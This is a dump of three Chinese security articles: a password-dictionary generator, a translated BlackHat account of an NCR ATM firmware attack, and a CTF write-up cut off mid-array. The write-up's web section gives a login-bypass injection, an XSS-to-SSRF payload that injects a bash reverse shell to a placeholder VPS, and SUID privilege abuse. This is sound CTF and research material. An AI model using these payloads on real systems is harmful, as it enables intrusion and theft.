text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
Author：bit4@[勾陈安全实验室](http://www.polaris-lab.com/)
**项目地址**
<https://github.com/bit4woo/passmaker>
**目的**
该脚本的主要目标是根据定制的规则来组合生成出密码字典，主要目标是针对企业，希望对安全人员自查“符合密码策略的若密码”有所帮助。
**规则**
程序的核心是密码规则的指定，比如：
* domain+常规弱密码
* domain+键盘弱密码
* domain+特殊字符+常规弱密码
* domain+特殊字符+年份
……等等
**配置**
说明已经写在配置文件的注释中了
#第一步，定义种子（seed），密码的基本组成部分
domain= ["baidu.com","baidu","Baidu.com","BaiDu.com"]
year = ["2016","2017","2018"]
special_letter = ["!","@","#","$","%",]
common_weak_pass = open('./seed/weak_pass_top100.txt').readlines()
keyboard_walk = open('./seed/4_keyboard_walk.txt').readlines()
#domain_capitalize = False #域名首字母大写处理
#第二步，定义密码的组成规则，list中的一个元素代表一个规则
rule = ["domain+special_letter+year","domain+special_letter+keyboard_walk","domain+special_letter+common_weak_pass"]
keep_in_order = False #以上的规则，是否保持原顺序，如果为False 将对每个规则中的seed进行排列组合后生产密码。
#第三步，对以上生成的密码再进行一些变形处理
capitalize = True #是否进行首字母大写处理
leet = False #是否进行变形处理，即通过下方的字典进行对应的字母替换
leet2num = {"a":"4",
"i":"1",
"e":"3",
"t":"7",
"o":"0",
"s":"5",
"g":"9",
"z":"2"}
leet2string ={
"O" : "()",
"U" : "|_|",
"D" : "|)",
"W" : "\/\/",
"S" : "$",
}
#第四步，根据以下密码规则约束，对以上生成的密码进行过滤处理，删除不满足条件的记录
min_lenth =8
need_upper_letter = False
need_lower_letter = True
need_special_char = False
need_nummber = False
#大写字母、小写字母、特殊符号、数字,四种包含三种---常见的密码要求
kinds_needed = 3 #四者包含其三
如果有好的建议，欢迎通过[issue](https://github.com/bit4woo/passmaker/issues/new)提交给我，谢谢！ | 社区文章 |
# BlackHat USA 2018议题解读 | 对NCR公司的ATM机进行攻击测试
##### 译文声明
本文是翻译文章，文章原作者 Vladimir Kononovich, Positive Technologies，文章来源：ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2018/08/low-level-hacking-ncr-atm.html>
译文仅供参考，具体内容表达以及含义原文为准。
当代许多信息系统在设计的时候就认为不会被其他人接触到，开发者们通常假定攻击者和安全研究人员无法获取到这些系统的内部信息。
ATM机就是这样的一个典型例子，攻击者会使用例如Cutlet
Maker或者其他未公开的工具来将电脑接入ATM机上并在不留下系统记录的情况下盗取现金。这也证实了安全界长期持有的观点——没有牢不可破的系统，只有还没被充分测试的系统。
## 开始
即使是现在，也有许多人认为唯一能抢劫ATM机的方法就是暴力形式的物理攻击：在用电锯、撬棍和电焊砸爆ATM机之前，先用钩子尝试弄开保险箱上的锁。
但下面还有另一种攻击方法：
在通过eBay搜索以后，我购买了这块带有NCR USB S1 ATM机固件的主板，而我有两个攻击目标：
绕过ATM电脑通过USB接口向主板发出的加密后的操作指令（例如‘提款’）
绕过物理接口来实现身份认证（也就是需要修改保险箱底部的开关），从而获得上述操作所需要的加密密钥。
## 固件
固件包含了运行在VxWorks v5.5.1上的NXP Cold Fire处理器（摩托罗拉68040,我最喜欢的CPU）和对应的ELF文件。
ELF文件中包含了两块有趣的部分：.text和.data
前者包含了当取款机与上层ATM机连接后，大部分情况下使用的代码（我们称之为’主固件’）。
后者包含了一个zlib压缩后，负责升级固件和运行主要代码的bootloader（又称作“USB安全Bootloader）。
另外最棒的一点（对于研究者来说），ELF文件中的调试符号都可以轻易地在网上搜索到。
## 固件的主体工作流程
1. 我们可以将代码分为四个流程，从上到下的顺序依次为：
2. USB进程接受，获取USB口发来的数据包并发送到对应的服务端中。
3. 主系统的执行功能，每个进程服务都负责特定的工作和任务（类）
4. 上述的类是指由特定进程通过控制器执行的任务。
5. 控制器是负责验证、执行任务并生成结果数据的功能模块。
由于有固件代码十分庞大，所以我打算尽可能的找出所有服务，并试图理清楚任务处理的流程。
下面是我找到的所有相关的服务。
DispTranService（现金转账服务）负责处理加密操作指令，生成对应的银行记录、身份认证等各种重要的信息。
securityService通过身份认证后，创建本次取款的会话密钥。当收到ATM机的请求后，会话密钥会以加密的形式发送，这个密钥用于加密所有该供货商的重要操作指令，例如提取现金或是生成转账记录。
但还有一项名为UsbDownloadService的服务引起了我的注意，这个服务是在ATM机连接到电脑上，发现双方固件版本不同时，切换相应的bootloader（存储在供货商计算机上）来升级系统中的固件版本，因此该服务可以告诉我们固件的当前版本等信息。
## 物理认证
事实上物理认证在通过保护ATM机不受未授权的USB操作影响上，这一块做得非常好。只有打开ATM保险箱才可以进行下列行为：
取下并插入下方的底板
切换提款机主板上的开关
但这些防护的前提是访问等级已经调到最高。一共有三个访问等级：USB(0)，逻辑防护(1)和物理防护(2)。前两者都用于固件开发商进行调试和系统测试，供货商则会强烈建议默认选择最后一个物理防护等级。
## 漏洞
接下来我会讲述一个严重的漏洞（已经由供货商进行修复），该漏洞通过物理接入ATM机的服务区域，但不需要接入安全区域（例如用钻机打一个ATM前面板的洞），从而允许执行任意操作指令——即便命令是：现在立刻滚出现金！
我发现UsbDownloadService服务允许未加密过的操作指令，这听起来很诱人，不过安全Bootloader不应该像它的名字一样，阻止进一步的恶意攻击吗？
## 我们需要进一步的深入研究
正如之前描述的一样，.data部分包含了我和同事一开始没注意到的，压缩后的bootloader代码。
我们没有办法在不清楚bootloader过程的情况下回答“计算机上的软件是如何更新取款机固件的”这一问题，而主固件部分也没有给出任何线索。
所以对bootloader解包并加载到IDA中，从0x100000偏移处开始分析，发现这里没有任何调试符号。
不过与主固件的bootloader代码以及控制器中的数据表对比后，我又有了新的发现。
尽管固件升级的过程看起来很安全，但实际上并非如此。关键就在于如何正确的更新固件。
我们花费了大量的时间和精力（详情可参考BlackHat 2018的议题”Blackbox is dead – Long live
Blackbox!），进行了如重新焊接NVRAM，复制备份来解锁控制器等一系列尝试行为。
这里需要感谢我的同事Alexey提供的帮助。
下面是更新提款机中固件的流程：
1) 生成一对RSA密钥并将公钥上传到控制器中。
2) 依次将ELF中对应的.data和.text数据写入物理地址中。
3) 计算新写入数据的SHA-1校验和，采用密钥加密该校验和，将结果发送到控制器中。
4) 计算并发送所有新写入的固件信息。
到这一步位置，如果所有的内容都计算正确并成功写入，主固件就能顺利的重新启动。
在写入过程中发现的唯一问题就是：新的固件版本号不能低于旧固件版本号，不过没有什么能阻止你简单修改版本号这几个数字。
也就是说，我到这里位置成功地上传并运行了带有后门的，不安全的固件系统。
至此，我大致了解了用域提取现金和其他行为的主固件中的操作命令，接下来提款机就会自动执行所有我发送的（没有加密过的）操作命令。
## 提取现金
能够入侵真实的ATM机是我一系列努力后获得的最有意义的（当然不仅仅是金钱上的）收获。我的好奇心激励着我在其他品牌ATM机上再次利用这一攻击技巧。
最终，一台真实的ATM机开始飞快地突出虚拟的纸币（类似于好莱坞电影用的银行纸币），这并不是什么魔术，只需要一台笔记本，一个脑子和一张USB卡。
## 总结
通过混淆实现的安全并不安全，单纯的将代码和固件进行混淆
正如开发应该交给开发者来做一样，安全也应该是安全专家的工作。供货商最有效的方法应该是和具备足够经验和资历、能够根据不同场景对系统进行安全测试和加固的专业安全公司进行合作。
## 结束语
供货商确认了该漏洞（在S2型号ATM中同样存在该漏洞）并宣布在2018年二月的补丁中进行修复
CVE编号：
CVE-2017-17668 (NCR S1 取款机)
CVE-2018-5717 （NCR S2 取款机） | 社区文章 |
# 2021 东华杯 大学生网络安全邀请赛 部分 WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
> **“东华杯”2021年大学生网络安全邀请赛暨第七届上海市大学生网络安全大赛**
>
> 比赛时间: 2021-10-31 09:00 ~ 2021-10-31 21:00
>
> 比赛官网: <https://www.ichunqiu.com/2021dhb>
十月就要结束了，这个比赛就是十月份的最后一个比赛啦~
这比赛往年相对其他比赛来说都挺简单的，不能跨校组队，于是就拉上校内的学弟随意组了个队来打了。
从早九开始打，然而喵喵中午才起来， _摸了.jpg_ ，还好还能做几题，不然就彻底摸鱼了（逃
## Misc
### checkin
> +AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-
s = b"+AGYAbABhAGcAewBkAGgAYgBfADcAdABoAH0-"
s.decode('utf-7')
# 'flag{dhb_7th}'
（一看到这个开头的 `+` 就想到 [2020 USTC Hackergame 那个 utf-7
的题目](https://miaotony.xyz/2020/11/08/CTF_2020Hackergame/#UTF-7-%E5%88%B0-UTF-8-%E8%BD%AC%E6%8D%A2%E5%B7%A5%E5%85%B7)
了
### project
> 一个普普通通的工程文件
>
> [附件下载](https://pan.baidu.com/s/1uzNfxSrLP4ciqMTNHdvJ2Q)
> 提取码（GAME）[备用下载](https://share.weiyun.com/kceJy0Ed)
解压出来一堆的远古文件，发现是
[组态王（KingView）](http://www.kingview.com/pro_info.php?num=1002019)，感觉是工控的题。
再一看修改时间，只有一个今年的 `test.exe`，一看就是 pyinstaller 打包的，遂解包，发现其实只是释放了一个
`problem_bak.zip`。
运行 exe 得到这个 zip。里面一个 `你来了~`
经典邮件。
6KGo5oOF5YyF5paH5YyW77yM5piv6ZqP552A572R57uc56S+5Lqk5rKf6YCa55qE5aKe5aSa5Ye6
546w55qE5LiA56eN5Li75rWB5paH5YyW44CC5LiA5Liq5Lq655qE6KGo5oOF5YyF5piv5YW26ZqQ
6JeP6LW35p2l55qE55yf5oiR77yM5LiA5Liq5Zu95a6255qE6KGo5oOF5YyF6YeM6IO955yL5Yiw
6L+Z5Liq5Zu95a6255qE6KGo5oOF44CC4oCM4oCM4oCM4oCM4oCN4oCs4oCs4oCM5pyJ5pe25YCZ
77yM6KGo5oOF5YyF6KGo6L6+55qE5piv5LiN6IO96YGT56C055qE55yf5a6e5oOz5rOV5ZKM5oSf
5Y+X77yM6K+t6KiA5ZKM5paH5a2X55qE5bC95aS077yM5bCx5piv6KGo5oOF5YyF5pa95bGV55qE
56m66Ze044CCDQrooajmg4XljIXmmK/nvZHnu5zor63oqIDnmoTkuIDnp43ov5vljJbvvIzlroPn
moTkuqfnlJ/lkozmtYHooYzkuI7lhbbnibnlrprnmoTigJzigIzigIzigIzigIzigI3vu7/igI3i
gI3nlJ/lrZjnjq/looPigJ3mnInlhbPjgILlhbbov73msYLphpLnm67jgIHmlrDlpYfjgIHosJDo
sJHnrYnmlYjmnpznmoTnibnngrnvvIzigIzigIzigIzigIzigI3vu7/igIzigKzkuI7lubTovbvk
urrlvKDmiazkuKrmgKflkozmkJ7mgKrnmoTlv4PnkIbnm7jnrKbigIzigIzigIzigIzigI3vu7/i
gIzigKzjgIINCuihqOaDheWMheS5i+aJgOS7peiDveWkn+Wkp+iMg+WbtOWcsOS8oOaSre+8jOKA
jOKAjOKAjOKAjOKAje+7v+KArOKAjeaYr+WboOS4uuWFtuW8peihpeS6huaWh+Wtl+S6pOa1geea
hOaer+eHpeWSjOaAgeW6puihqOi+vuS4jeWHhuehrueahOW8seeCue+8jOacieaViOWcsOaPkOmr
mOS6huayn+mAmuaViOeOh+OAgumDqOWIhuihqOaDheWMheWFt+acieabv+S7o+aWh+Wtl+eahOWK
n+iDve+8jOKAjOKAjOKAjOKAjOKAje+7v+KAjeKAjei/mOWPr+S7peiKguecgeaJk+Wtl+aXtumX
tOKAjOKAjOKAjOKAjOKAje+7v+KAjOKAjOOAgumaj+edgOaZuuiDveaJi+acuueahOWFqOmdouaZ
ruWPiuWSjOekvuS6pOW6lOeUqOi9r+S7tueahOWkp+mHj+S9v+eUqO+8jOihqOaDheWMheW3sue7
j+mrmOmikeeOh+WcsOWHuueOsOWcqOS6uuS7rOeahOe9kee7nOiBiuWkqeWvueivneW9k+S4reOA
gg0K
base64 解码，发现有零宽隐写
表情包文化，是随着网络社交沟通的增多出现的一种主流文化。一个人的表情包是其隐藏起来的真我，一个国家的表情包里能看到这个国家的表情。有时候，表情包表达的是不能道破的真实想法和感受，语言和文字的尽头，就是表情包施展的空间。
表情包是网络语言的一种进化，它的产生和流行与其特定的“生存环境”有关。其追求醒目、新奇、谐谑等效果的特点，与年轻人张扬个性和搞怪的心理相符。
表情包之所以能够大范围地传播，是因为其弥补了文字交流的枯燥和态度表达不准确的弱点，有效地提高了沟通效率。部分表情包具有替代文字的功能，还可以节省打字时间。随着智能手机的全面普及和社交应用软件的大量使用，表情包已经高频率地出现在人们的网络聊天对话当中。
到 零宽隐写 解密一下，用到的字符 vim 看一下就行。
得到 `hurryup`，盲猜是某个加密的密码。
再看邮件里还有张图片，base64 解码导出到文件。
OurSecret 解密得到 flag。
`flag{f3a5dc36-ad43-d4fa-e75f-ef79e2e28ef3}`
### JumpJumpTiger
> flag格式为flag{uuid}
>
> [附件下载](https://pan.baidu.com/s/1BDbI9SHTAs37OPrHwAgTKg)
> 提取码（GAME）[备用下载](https://share.weiyun.com/Ld2cKFSd)
是跳跳虎啊（
给了个 `jump.exe`，运行就输出一句话
This is your hint!!!
拖进 IDA，发现它这里其实这个 `v4` 数组也就是前后把奇数位和偶数位分开的操作。
然后看 strings 窗口，发现有一堆看上去像 base64 的字符串，然而解析不出来。
下面两个很明显是隔位来取值，于是比赛的时候就考虑了各种方法把这三个字符串的奇数位和偶数位分开，或者按不同顺序排列奇数位和偶数位。然而不管啥样都解析不出一个看得出来的东西……
赛后问了下其他师傅，说直接十六进制编辑器复制出来，奇偶位分开就完事了。
？？？？？？？
喵喵疑惑脸.jpg
然后拖进 010 editor 一看，草，IDA 解析锅了啊！！！
也就是说，不知道什么原因，这个 strings window 解析出来的字符串分段了，而且导出来也不完整。
而实际上这一长串字符串都是连在一起的。于是直接在 010 Editor 里整个复制出来。
然后奇偶位分别导出到两个文件。
import base64
with open('base64.dat', 'r', encoding='utf-8') as fin:
s = fin.read()
s1 = ''.join([s[i] for i in range(0, len(s), 2)])
s2 = ''.join([s[i] for i in range(1, len(s), 2)])
data1 = base64.b64decode(s1)
data2 = base64.b64decode(s2)
print(data1[:200])
print('======')
print(data2[:200])
with open('data1.jpg', 'wb') as f1:
f1.write(data1)
with open('data2.png', 'wb') as f1:
f1.write(data2)
# b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00\x05\x03\x04\x04\x04\x03\x05\x04\x04\x04\x05\x05\x05\x06\x07\x0c\x08\x07\x07\x07\x07\x0f\x0b\x0b\t\x0c\x11\x0f\x12\x12\x11\x0f\x11\x11\x13\x16\x1c\x17\x13\x14\x1a\x15\x11\x11\x18!\x18\x1a\x1d\x1d\x1f\x1f\x1f\x13\x17"$"\x1e$\x1c\x1e\x1f\x1e\xff\xdb\x00C\x01\x05\x05\x05\x07\x06\x07\x0e\x08\x08\x0e\x1e\x14\x11\x14\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\x1e\xff\xc0\x00\x11\x08\x048\x07\x80\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1d\x00\x00\x02\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02'
# ======
# b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x07\x80\x00\x00\x048\x08\x02\x00\x00\x00g\xb1V\x14\x00\x00 \x00IDATx\x01d\xc1A\x96,\xe7\x96\x9c\xd7\xcf\xec\xb8\'\x00R\xf3\x9f\x15\xd5"G\xc0Zj\xabA\xb2\xde\xcd\xf8\x8f\x19#\x1cH\xea\xd6\xd2\xde\xfa\xef\xff\xf5\xbf\xf4\x07\xd06I\xdb$\x92l_\xd753\xb6\x81\xb6\xbb\xcbC\x12\xbfI\x97\xb7\nl_b@\x80\xfc\xdd\xaa\xad>*\x93\x9c$m\x81\x8aGT\x0c*\xbe\x06P\xf9H\xd5v\xd3\xf6\x17\xb3\xbb\xb6\xff\xfc\xf3\x0fI\xaf\xd7+9\xb6\xff\xb8\xd5\xf6\x9c\xb3\xbb\x92\xae\xeb\x92\xc4[\xdd\x1f\x92lK\xb2\xdd6\x8f\xb6#\xf1\xc3\xba$\xf1\xe8#I\xdb\xfft{\xe5\x15\xc7.\x06T\x01G'
得到两张图，一张 jpg 一张 png。
进行一个 diff，SUB 很明显看出就是熟悉的经典盲水印。一张是原图，一张是加了盲水印的 png。
这里用到的是 [chishaxie 的
BlindWaterMark](https://github.com/chishaxie/BlindWaterMark)。
python bwmforpy3.py decode data1.jpg data2.png out.png
呐，flag。
### where_can_find_code
> [附件下载](https://pan.baidu.com/s/1RAB1x1sbx6apoLtaXm2MPw)
> 提取码（GAME）[备用下载](https://share.weiyun.com/CognzPmU)
给了个 `code.asc`，发现这个文件里有一堆的 `\0`.
尝试着拿去当 html 解析，效果长这样。
（好像也没啥用）
下面这段长得就很像 flag，应该是某种映射关系。然而直接拿去 quipquip 解的话出来都不对。
format("Translate the letter J into I");
dpeb{e58ca5e2-2c51-4eef-5f5e-33539364deoa}
再回到最开始的 `\0`，发现是用了 wbStego 隐写。
password 为空，解密出来得到
20810842042108421
只含有 01248，是那个 云影密码。
实际上就是以 `0` 作为间隔，其他数隔开后十进制组合相加，转化为 1-26 对应的字母 A-Z.
直接抄个网上的脚本好了。
def de_code(c):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
flag = []
c2 = [i for i in c.split("0")]
for i in c2:
c3 = 0
for j in i:
c3 += int(j)
flag.append(dic[c3 - 1])
return flag
def encode(plaintext):
dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
m = [i for i in plaintext]
tmp = []
flag = []
for i in range(len(m)):
for j in range(len(dic)):
if m[i] == dic[j]:
tmp.append(j + 1)
for i in tmp:
res = ""
if i >= 8:
res += int(i/8)*"8"
if i % 8 >= 4:
res += int(i % 8/4)*"4"
if i % 4 >= 2:
res += int(i % 4/2)*"2"
if i % 2 >= 1:
res += int(i % 2/1)*"1"
flag.append(res + "0")
print("".join(flag)[:-1])
c = input("输入要解密的数字串:")
print(de_code(c))
# m_code = input("请输入要加密的数字串:")
# encode(m_code)
得到 `BINGO`
再去搜 `Translate the letter J into I`，发现是 多表代换加密 里的 [Playfair
cipher](https://ctf-wiki.org/crypto/classical/polyalphabetic/#playfair)。
有一个 [在线的 Playfair Cipher 工具](http://rumkin.com/tools/cipher/playfair.php)
可以直接在网页上编解码。
`flag{d58af5d2-2a51-4dde-5e5d-33539364cdbf}`
## Web
### OldLibrary
> [附件下载](https://pan.baidu.com/s/1McgiElikTztBSS2CmOzFSg)
> 提取码（GAME）[备用下载](https://share.weiyun.com/Rv4DhlGk)
是个 golang 的题目。虽然咱不会 golang，但给了源码而不是二进制文件，看起来还是挺舒服的。
首先看各个接口
router.POST("/delete", handler.IPCheckMiddleWare(), DeleteController)
router.POST("/signin", LoginController)
router.POST("/signup", RegisterController)
router.POST("/download", handler.LoginCheckMiddleWare(), DownloadController)
router.POST("/submit", handler.AdminCheckMiddleWare(), BookHandleController)
发现登录这里，sql 查询直接拼接了字符串
db_table := Conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)
而 handler 这里面提示了管理员用户名是 administrator
于是构造登录请求
username=administrator&password=1' || '1'=='1
成功登录。
然后再看接口，发现有个 `/delete`，存在命令执行，而且是拼接字符串。
func DeleteController(c *gin.Context) { // The function is temporarily inaccessible
var filename Filename
if err := c.ShouldBindJSON(&filename); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
if err := cmd.Run(); err != nil {
fmt.Println(err)
return
}
c.String(http.StatusOK, fmt.Sprintf("File Deleted Successfully"))
}
然而这个只能通过本地进行访问。
func IPCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
return
}
c.Next()
}
}
再看 `/submit` 接口这里，可以上传 pdf，而这些输入的信息会进到 `makepdf` 函数里。
（安全客的 waf 又把 `script` 给拦了，源码需要把下面的 `gcript` 改成 `script`
func BookHandleController(c *gin.Context) {
var book Book
if err := c.ShouldBind(&book); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
file, err := c.FormFile("covers")
if err != nil {
c.String(http.StatusBadRequest, fmt.Sprintf("Get form err: %s", err.Error()))
return
}
filename := filepath.Base(file.Filename)
if err := c.SaveUploadedFile(file, "/tmp/covers/" + filename); err != nil {
c.String(http.StatusBadRequest, fmt.Sprintf("Upload covers err: %s", err.Error()))
return
}
makepdf(book.Title, book.Author, book.Description, filename)
db_table := Conn.DB("ctf").C("books")
err = db_table.Insert(&book)
if err != nil {
c.String(http.StatusBadRequest, fmt.Sprintf("Signup err: %s", err.Error()))
return
}
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<gcript>alert('Book uploaded successfully');window.location.href='/submit'</gcript>")
}
`makepdf` 函数里直接将输入的东西拼接进 html 里了，然后生成 pdf，于是想到在这里构造 XSS 来进行 SSRF。
func makepdf(title, author, description, covers string) string {
// Create new PDF generator
pdfg, err := wkhtmltopdf.NewPDFGenerator()
if err != nil {
fmt.Println(err)
}
template := "<!DOCTYPE html>" +
"<html lang='en'>" +
"<head>" +
"<meta charset='UTF-8'>" +
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>" +
"<title>Library</title>" +
"</head>" +
"<body>" +
"<center>" +
"<h2>Book description</h2>" +
"<table border='1' cellpadding='10'>" +
"<tr>" +
"<th>Book Title</th>" +
"<td>" + title + "</td>" +
"</tr>" +
"<tr>" +
"<th>Author</th>" +
"<td>" + author + "</td>" +
"</tr>" +
"<tr>" +
"<th> Content Abstract </th>" +
"<td>" + description + "</td>" +
"</tr>" +
"</table>" +
"<br><img src='covers/" + covers + "' height='300'>" +
"</center>" +
"</body>" +
"</html>"
pdfg.AddPage(wkhtmltopdf.NewPageReader(strings.NewReader(template)))
err = pdfg.Create()
if err != nil {
fmt.Println(err)
}
构造 description 如下，反弹个 shell 回来。
（安全客的 waf 又把 `script` 给拦了，手动把下面的 `gcript` 改成 `script` 吧
</td><gcript>var s=new XMLHttpRequest;s.open("POST","http://127.0.0.1:8888/delete");
s.setRequestHeader('Content-type', 'application/json');s.send('{"filename":"test.pdf|bash -i >& /dev/tcp/VPSIP/PORT 0>&1"}');</gcript><td>
VPS 上接收到反弹的 shell
发现 flag 在 `/flagggisshere` 但是没权限读，找找能不能借助 suid 权限来读。
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/chfn
/usr/bin/comm
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pkexec
$ ls -al /usr/bin/comm
-rwsr-xr-x 1 root root 43384 Sep 5 2019 comm
$ comm /flagggisshere /dev/null 2>/dev/null
flag{a4a22262-4d19-4956-ba7c-6ac805a99785}
> [`comm` SUID 读文件的介绍](https://gtfobins.github.io/gtfobins/comm/#suid)
## Reverse
这部分题目是队友做的，喵喵菜菜，喵呜。
### hello
> hello world!
>
> [附件下载](https://pan.baidu.com/s/1rswkWdV6fDjMp9ADH0IC2g)
> 提取码（GAME）[备用下载](https://share.weiyun.com/5vcvW1pe)
在 Java 中获取用户输入以及 apk 的签名，并调用 JNI 函数 stringFromJNI 进行加密。
主体部分为一个异或加密以及交换每个字符的前五位与后三位，使用调试手段获取签名后即可写出解密代码。
target = [0xca, 0xeb, 0x4a, 0x8a, 0x68, 0xe1, 0xa1, 0xeb, 0xe1, 0xee, 0x6b, 0x84, 0xa2, 0x6d, 0x49, 0xc8, 0x8e, 0xe, 0xcc, 0xe9, 0x45, 0xcf, 0x23, 0xcc, 0xc5, 0x4c, 0xc, 0x85, 0xcf, 0xa9, 0x8c, 0xf6, 0xe6, 0xd6, 0x26, 0x6d, 0xac, 0xc, 0xac, 0x77, 0xe0, 0x64]
sig = [0x33, 0x30, 0x38, 0x32, 0x30, 0x32, 0x65, 0x34, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x63, 0x63, 0x30, 0x32, 0x30, 0x31, 0x30, 0x31, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x35, 0x30, 0x30, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31, 0x31, 0x36, 0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35, 0x36, 0x32, 0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30, 0x33, 0x30, 0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36, 0x31, 0x33, 0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30, 0x32, 0x30, 0x31, 0x37, 0x30, 0x64, 0x33, 0x32, 0x33, 0x31, 0x33, 0x30, 0x33, 0x33, 0x33, 0x30, 0x33, 0x36, 0x33, 0x31, 0x33, 0x34, 0x33, 0x33, 0x33, 0x30, 0x33, 0x34, 0x33, 0x38, 0x35, 0x61, 0x31, 0x38, 0x30, 0x66, 0x33, 0x32, 0x33, 0x30, 0x33, 0x35, 0x33, 0x31, 0x33, 0x30, 0x33, 0x32, 0x33, 0x32, 0x33, 0x37, 0x33, 0x31, 0x33, 0x34, 0x33, 0x33, 0x33, 0x30, 0x33, 0x34, 0x33, 0x38, 0x35, 0x61, 0x33, 0x30, 0x33, 0x37, 0x33, 0x31, 0x31, 0x36, 0x33, 0x30, 0x31, 0x34, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x33, 0x30, 0x63, 0x30, 0x64, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x32, 0x30, 0x34, 0x34, 0x36, 0x35, 0x36, 0x32, 0x37, 0x35, 0x36, 0x37, 0x33, 0x31, 0x31, 0x30, 0x33, 0x30, 0x30, 0x65, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x61, 0x30, 0x63, 0x30, 0x37, 0x34, 0x31, 0x36, 0x65, 0x36, 0x34, 0x37, 0x32, 0x36, 0x66, 0x36, 0x39, 0x36, 0x34, 0x33, 0x31, 0x30, 0x62, 0x33, 0x30, 0x30, 0x39, 0x30, 0x36, 0x30, 0x33, 0x35, 0x35, 0x30, 0x34, 0x30, 0x36, 0x31, 0x33, 0x30, 0x32, 0x35, 0x35, 0x35, 0x33, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x32, 0x32, 0x33, 0x30, 0x30, 0x64, 0x30, 0x36, 0x30, 0x39, 0x32, 0x61, 0x38, 0x36, 0x34, 0x38, 0x38, 0x36, 0x66, 0x37, 0x30, 0x64, 0x30, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x35, 0x30, 0x30, 0x30, 0x33, 0x38, 0x32, 0x30, 0x31, 0x30, 0x66, 0x30, 0x30, 0x33, 0x30, 0x38, 0x32, 0x30, 0x31, 0x30, 0x61, 0x30, 0x32, 0x38, 0x32, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x63, 0x62, 0x66, 0x32, 0x62, 0x30, 0x39, 0x65, 0x34, 0x33, 0x30, 0x38, 0x65, 0x62, 0x62, 0x34, 0x35, 0x39, 0x65, 0x38, 0x38, 0x34, 0x31, 0x65, 0x35, 0x61, 0x37, 0x62, 0x39, 0x32, 0x30, 0x34, 0x39, 0x37, 0x66, 0x65, 0x66, 0x32, 0x62, 0x33, 0x34, 0x39, 0x65, 0x38, 0x30, 0x36, 0x34, 0x38, 0x66, 0x37, 0x65, 0x62, 0x33, 0x35, 0x66, 0x34, 0x38, 0x64, 0x34, 0x30, 0x61, 0x37, 0x35, 0x65, 0x37, 0x63, 0x65, 0x37, 0x39, 0x34, 0x35, 0x62, 0x38, 0x62, 0x34, 0x32, 0x64, 0x31, 0x39, 0x37, 0x62, 0x65, 0x63, 0x30, 0x62, 0x66, 0x31, 0x37, 0x37, 0x65, 0x36, 0x63, 0x39, 0x38, 0x39, 0x39, 0x65, 0x64, 0x37, 0x30, 0x37, 0x64, 0x63, 0x63, 0x34, 0x61, 0x37, 0x32, 0x36, 0x63, 